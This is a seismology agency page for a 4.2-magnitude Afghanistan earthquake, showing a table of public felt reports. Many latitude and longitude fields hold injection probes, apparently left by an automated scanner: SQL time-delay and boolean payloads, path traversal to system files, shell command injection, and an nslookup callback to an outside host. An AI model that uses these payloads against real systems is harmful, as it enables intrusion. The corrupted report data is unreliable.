National Center for Seismology

Ministry of Earth Sciences

Government of India

   
Back to Earthquakes

M: 4.2 - Afghanistan

Origin Time 2025-12-08 15:11:35 (IST)
Lat, Long 34.73, 70.86
Magnitude 4.2
Depth 160km
Event Status Reviewed

40
35
30
25
20
15
10
5
0
6065707580859095100
 

Responses vs. Time Plot

Hours
MMI Distance Latitude Longitude Date & Time
I 11491.14 KM 39.7817 -89.6501 2025-12-11 05:00:28 UTC
I 11491.14 KM 39.7817 -89.6501 2025-12-11 05:01:02 UTC
I 11491.14 KM 39.7817 -89.6501 2025-12-11 05:01:03 UTC
I 11491.14 KM 39.7817 -89.6501 2025-12-11 05:01:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:05:34 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:05:37 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:05:37 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:05:37 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:05:38 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:06:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:07:31 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:07:39 UTC
III 15753.54 KM -1 OR 5*5=25 -- -89.6501 2025-12-11 05:07:42 UTC
III 15753.54 KM -1 OR 5*5=25 -89.6501 2025-12-11 05:07:43 UTC
III 15753.54 KM -1' OR 5*5=25 -- -89.6501 2025-12-11 05:07:46 UTC
III 15753.54 KM -1" OR 5*5=25 -- -89.6501 2025-12-11 05:07:47 UTC
III 15753.54 KM -1' OR 5*5=25 or 'FKRnrHl2'=' -89.6501 2025-12-11 05:07:48 UTC
III 15753.54 KM -1" OR 5*5=25 or "YouAzSCp"=" -89.6501 2025-12-11 05:07:50 UTC
III 11491.14 KM 39.7817*if(now()=sysdate(),sleep(15),0) -89.6501 2025-12-11 05:07:54 UTC
III 11491.14 KM 39.7817*if(now()=sysdate(),sleep(15),0) -89.6501 2025-12-11 05:08:25 UTC
III 11491.14 KM 39.78170'XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2025-12-11 05:08:53 UTC
III 11491.14 KM 39.78170"XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2025-12-11 05:08:57 UTC
III 15653.58 KM (select(0)from(select(sleep(15)))v)/*'+(selec -89.6501 2025-12-11 05:09:02 UTC
III 11491.14 KM 39.7817-1; waitfor delay '0:0:15' -- -89.6501 2025-12-11 05:09:06 UTC
III 11491.14 KM 39.7817-1); waitfor delay '0:0:15' -- -89.6501 2025-12-11 05:09:14 UTC
III 11491.14 KM 39.7817-1); waitfor delay '0:0:15.754' -- -89.6501 2025-12-11 05:10:46 UTC
III 11491.14 KM 39.7817-1 waitfor delay '0:0:15' -- -89.6501 2025-12-11 05:10:54 UTC
III 11491.14 KM 39.7817tjA4DyN7'; waitfor delay '0:0:15' -- -89.6501 2025-12-11 05:11:02 UTC
III 11491.14 KM 39.7817qIwGGvCZ'; waitfor delay '0:0:15' -- -89.6501 2025-12-11 05:11:22 UTC
III 11491.14 KM 39.7817-1 OR 905=(SELECT 905 FROM PG_SLEEP(15 -89.6501 2025-12-11 05:11:26 UTC
III 11491.14 KM 39.7817-1) OR 37=(SELECT 37 FROM PG_SLEEP(15) -89.6501 2025-12-11 05:11:36 UTC
III 11491.14 KM 39.7817-1)) OR 215=(SELECT 215 FROM PG_SLEEP( -89.6501 2025-12-11 05:11:39 UTC
III 11491.14 KM 39.7817eP3ZaGrz' OR 362=(SELECT 362 FROM PG_S -89.6501 2025-12-11 05:11:47 UTC
III 11491.14 KM 39.7817WQBxnMcn') OR 211=(SELECT 211 FROM PG_ -89.6501 2025-12-11 05:11:55 UTC
III 11491.14 KM 39.781706jSvtH9') OR 869=(SELECT 869 FROM PG_ -89.6501 2025-12-11 05:12:52 UTC
III 11491.14 KM 39.78171yHc6ARh')) OR 309=(SELECT 309 FROM PG -89.6501 2025-12-11 05:13:01 UTC
III 11491.14 KM 39.7817*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CH -89.6501 2025-12-11 05:13:06 UTC
III 11491.14 KM 39.7817'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)|| -89.6501 2025-12-11 05:13:13 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:13:16 UTC
III 11491.14 KM 39.7817'" -89.6501 2025-12-11 05:13:25 UTC
III 11491.14 KM 39.7817%2527%2522\'\" -89.6501 2025-12-11 05:13:26 UTC
III 15653.58 KM @@69SON -89.6501 2025-12-11 05:13:27 UTC
III 15653.58 KM (select 198766*667891) -89.6501 2025-12-11 05:13:28 UTC
III 15653.58 KM (select 198766*667891 from DUAL) -89.6501 2025-12-11 05:13:31 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:13:33 UTC
III 15653.58 KM '"() -89.6501 2025-12-11 05:13:33 UTC
III 11491.14 KM 39.7817'&&sleep(27*1000)*ctibsy&&' -89.6501 2025-12-11 05:13:34 UTC
III 11491.14 KM 39.7817"&&sleep(27*1000)*qlpfed&&" -89.6501 2025-12-11 05:13:36 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:13:36 UTC
III 11491.14 KM 39.7817'||sleep(27*1000)*ifyywa||' -89.6501 2025-12-11 05:13:38 UTC
III 11491.14 KM 39.7817"||sleep(27*1000)*cirbur||" -89.6501 2025-12-11 05:13:39 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:13:43 UTC
III 6130.65 KM 39.7817 '"() 2025-12-11 05:13:46 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:13:48 UTC
III 15653.58 KM ) -89.6501 2025-12-11 05:13:48 UTC
III 11491.14 KM 39.7817 -89.6501'&&sleep(27*1000)*cgtopa&&' 2025-12-11 05:13:48 UTC
III 15653.58 KM !(()&&!|*|*| -89.6501 2025-12-11 05:13:49 UTC
III 11491.14 KM 39.7817 -89.6501"&&sleep(27*1000)*vhoyko&&" 2025-12-11 05:13:49 UTC
III 6211.39 KM 39.7817 -1 OR 5*5=25 -- 2025-12-11 05:13:54 UTC
III 6211.39 KM 39.7817 -1 OR 5*5=25 2025-12-11 05:13:56 UTC
III 11491.14 KM 39.7817 -89.6501'||sleep(27*1000)*hmtghs||' 2025-12-11 05:14:15 UTC
III 15653.58 KM ^(#$!@#$)(()))****** -89.6501 2025-12-11 05:14:18 UTC
III 6211.39 KM 39.7817 -1' OR 5*5=25 -- 2025-12-11 05:14:18 UTC
III 15653.58 KM ^(#$!@#$)(()))****** -89.6501 2025-12-11 05:14:21 UTC
III 11491.14 KM 39.7817 -89.6501'||sleep((5*3)*1000)*hmtghs||' 2025-12-11 05:14:22 UTC
III 6211.39 KM 39.7817 -1" OR 5*5=25 -- 2025-12-11 05:14:23 UTC
III 6211.39 KM 39.7817 -1' OR 5*5=25 or 'koLEsa6L'=' 2025-12-11 05:14:24 UTC
III 11491.14 KM 39.7817 -89.6501"||sleep(27*1000)*ofxukj||" 2025-12-11 05:14:27 UTC
III 6211.39 KM 39.7817 -1" OR 5*5=25 or "M8vVRpEZ"=" 2025-12-11 05:14:27 UTC
III 6130.65 KM 39.7817 ) 2025-12-11 05:14:28 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:14:28 UTC
III 15653.58 KM http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulas -89.6501 2025-12-11 05:14:30 UTC
III 6130.65 KM 39.7817 !(()&&!|*|*| 2025-12-11 05:14:30 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:14:30 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:14:33 UTC
III 15553.17 KM 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.781 -89.6501 2025-12-11 05:14:33 UTC
III 6130.65 KM 39.7817 ^(#$!@#$)(()))****** 2025-12-11 05:14:33 UTC
III 11491.14 KM 39.7817 -89.6501*if(now()=sysdate(),sleep(15),0) 2025-12-11 05:14:33 UTC
III 6130.65 KM 39.7817 ^(#$!@#$)(()))****** 2025-12-11 05:15:16 UTC
III 15553.17 KM 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.781 -89.6501 2025-12-11 05:15:17 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:17 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:18 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:18 UTC
III 15653.58 KM /etc/shells -89.6501 2025-12-11 05:15:19 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:20 UTC
III 15653.58 KM ../../../../../../../../../../../../../../etc -89.6501 2025-12-11 05:15:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:23 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:26 UTC
III 11491.14 KM 39.7817 -89.6501*if(now()=sysdate(),sleep(15),0) 2025-12-11 05:15:26 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:29 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:15:29 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:13 UTC
III 15653.58 KM c:/windows/win.ini -89.6501 2025-12-11 05:16:13 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:14 UTC
III 15653.58 KM bxss.me -89.6501 2025-12-11 05:16:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:16 UTC
III 15653.58 KM Http://bxss.me/t/fit.txt -89.6501 2025-12-11 05:16:16 UTC
III 15653.58 KM http://bxss.me/t/fit.txt?.7817 -89.6501 2025-12-11 05:16:19 UTC
III 6130.65 KM 39.7817 http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulas 2025-12-11 05:16:22 UTC
III 6049.68 KM 39.7817 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.650 2025-12-11 05:16:23 UTC
III 11491.14 KM 39.7817 -89.65010'XOR(-89.6501*if(now()=sysdate(),sle 2025-12-11 05:16:23 UTC
III 6130.65 KM 39.7817 /etc/shells 2025-12-11 05:16:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:25 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:26 UTC
III 6130.65 KM 39.7817 ../../../../../../../../../../../../../../etc 2025-12-11 05:16:26 UTC
III 11491.14 KM 39.7817 -89.65010"XOR(-89.6501*if(now()=sysdate(),sle 2025-12-11 05:16:28 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:28 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:30 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:30 UTC
III 6130.65 KM 39.7817 c:/windows/win.ini 2025-12-11 05:16:31 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:31 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:33 UTC
III 6130.65 KM 39.7817 bxss.me 2025-12-11 05:16:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:34 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:35 UTC
III 6130.65 KM 39.7817 Http://bxss.me/t/fit.txt 2025-12-11 05:16:35 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:36 UTC
III 6130.65 KM 39.7817 (select(0)from(select(sleep(15)))v)/*'+(selec 2025-12-11 05:16:37 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:38 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:38 UTC
III 6130.65 KM 39.7817 http://bxss.me/t/fit.txt?.6501 2025-12-11 05:16:38 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:39 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:39 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:40 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:41 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:41 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:41 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:41 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:43 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:43 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:43 UTC
III 11491.14 KM 39.7817 -89.6501-1; waitfor delay '0:0:15' -- 2025-12-11 05:16:44 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:46 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:46 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:47 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:48 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:48 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:48 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:50 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:50 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:50 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:52 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:52 UTC
III 11491.14 KM 39.7817 -89.6501-1); waitfor delay '0:0:15' -- 2025-12-11 05:16:53 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:53 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:53 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:16:54 UTC
III 11491.14 KM 39.7817 III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:25 UTC
III 11491.14 KM 39.7817 III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:47 UTC
III 11491.14 KM 39.7817 -89.6501 III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:50 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:50 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:52 UTC
III 11491.14 KM 39.7817 -89.6501-1 waitfor delay '0:0:15' -- 2025-12-11 05:17:54 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:54 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:54 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:56 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:56 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:56 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:58 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:58 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:17:58 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:00 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:01 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:02 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:02 UTC
III 11491.14 KM 39.7817 -89.6501uQqrzoAi'; waitfor delay '0:0:15' -- 2025-12-11 05:18:02 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:08 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:08 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:08 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:09 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:09 UTC
III 11491.14 KM 39.7817 -89.6501-1 OR 117=(SELECT 117 FROM PG_SLEEP(1 2025-12-11 05:18:10 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:11 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:11 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:13 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:14 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:15 UTC
III 11491.14 KM 39.7817 -89.6501-1) OR 535=(SELECT 535 FROM PG_SLEEP( 2025-12-11 05:18:15 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:19 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:29 UTC
III 11491.14 KM 39.7817 -89.6501-1)) OR 94=(SELECT 94 FROM PG_SLEEP(1 2025-12-11 05:18:29 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:30 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:18:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:19:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:19:04 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:19:04 UTC
III 11491.14 KM 39.7817 -89.65018L5OXVMG' OR 962=(SELECT 962 FROM PG_ 2025-12-11 05:19:05 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:23:57 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:23:57 UTC
III 11491.14 KM 39.7817 -89.6501a4AvzsO3') OR 351=(SELECT 351 FROM PG 2025-12-11 05:23:59 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:02 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:02 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:03 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:05 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:05 UTC
III 11491.14 KM 39.7817 -89.6501qCIeGBsP')) OR 677=(SELECT 677 FROM P 2025-12-11 05:24:07 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:07 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:08 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:15 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:18 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:20 UTC
III 11491.14 KM 39.7817 -89.6501*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||C 2025-12-11 05:24:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:22 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:22 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:23 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:23 UTC
III 11491.14 KM 39.7817 -89.6501'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)| 2025-12-11 05:24:23 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:25 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:25 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:29 UTC
II 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:30 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:30 UTC
II 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:32 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:32 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:32 UTC
II 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:33 UTC
III 11491.14 KM 39.7817 -89.6501'" 2025-12-11 05:24:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:34 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:34 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:37 UTC
III 11491.14 KM 39.7817 -89.6501%2527%2522\'\" 2025-12-11 05:24:37 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:37 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:39 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:40 UTC
III 6130.65 KM 39.7817 @@cPJNX 2025-12-11 05:24:40 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:43 UTC
III 6130.65 KM 39.7817 (select 198766*667891) 2025-12-11 05:24:44 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:44 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:45 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:45 UTC
III 6130.65 KM 39.7817 (select 198766*667891 from DUAL) 2025-12-11 05:24:45 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:45 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:45 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:46 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:47 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:47 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:49 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:49 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:24:51 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:14 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:14 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:14 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:15 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:16 UTC
III 15653.58 KM echo cqhjlh$()\ ngljvl\nz^xyu||a #' &echo cqh -89.6501 2025-12-11 05:25:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:17 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:19 UTC
III 15653.58 KM &echo jdqqkq$()\ reuhwi\nz^xyu||a #' &echo jd -89.6501 2025-12-11 05:25:19 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:19 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:19 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:19 UTC
III 11491.14 KM 39.7817&echo tshpif$()\ jtrvrs\nz^xyu||a #' & -89.6501 2025-12-11 05:25:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:20 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:21 UTC
III 15653.58 KM |echo lrvcah$()\ sthdhp\nz^xyu||a #' |echo lr -89.6501 2025-12-11 05:25:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:22 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:22 UTC
III 11491.14 KM 39.7817|echo mcdkrd$()\ ajsowb\nz^xyu||a #' | -89.6501 2025-12-11 05:25:23 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:24 UTC
III 15653.58 KM expr 9000584419 - 923543 -89.6501 2025-12-11 05:25:24 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:57 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:25:57 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:07 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:14 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:14 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:18 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:18 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:22 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:23 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:28 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:28 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:29 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:29 UTC
III 15653.58 KM expr 9000584419 - 923543 -89.6501 2025-12-11 05:26:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:33 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:26:35 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:10 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:15 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:15 UTC
III 15653.58 KM (nslookup -q=cname hitnnbwyfghmc8b801.bxss.me -89.6501 2025-12-11 05:27:15 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:16 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:21 UTC
III 11491.14 KM 39.7817 -89.6501 2025-12-11 05:27:21 UTC
